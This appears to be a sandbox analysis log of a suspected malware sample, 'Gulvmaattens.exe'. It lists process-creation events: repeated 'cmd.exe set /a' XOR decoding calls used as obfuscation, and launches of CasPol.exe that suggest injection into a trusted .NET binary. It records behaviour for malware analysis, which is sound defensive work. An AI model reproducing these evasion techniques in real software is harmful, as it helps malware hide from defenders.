Source: unknown Process created: C:\Users\user\Desktop\Gulvmaattens.exe "C:\Users\user\Desktop\Gulvmaattens.exe"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x78^51"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x76^51"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x61^51"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x7D^51"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x76^51"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x7F^51"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x00^51"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x01^51"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x09^51"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x09^51"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x70^51"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x41^51"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x56^51"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x52^51"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x47^51"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x56^51"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x75^51"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5A^51"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5F^51"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x56^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x72^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x1B^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5E^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x41^51"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x07^51"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x1F^51"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x1F^51"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5A^51"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x07^51"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5A^51"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x03^51"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x4B^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x0B^51"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x03^51"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\Gulvmaattens.exe"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\Gulvmaattens.exe"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\Gulvmaattens.exe"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\Gulvmaattens.exe"
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\Gulvmaattens.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x78^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x76^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x61^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x7D^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x76^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x7F^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x00^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x01^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x09^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x09^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x70^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x41^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x56^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x56^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x75^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5A^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5F^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x56^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x72^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x1B^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5E^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x78^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x41^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x07^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x1F^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x75^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5A^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5F^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x56^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x72^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x1B^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5E^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x78^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x41^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x07^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x1F^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x75^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5A^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5F^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x56^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x72^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x1B^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5E^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x78^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x76^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x1F^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5A^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x07^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x01^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x13^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x03^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x4B^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x03^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x41^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x1F^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x09^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x70^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x03^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "0x5E^51" Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\Gulvmaattens.exe Process created: unknown unknown Jump to behavior
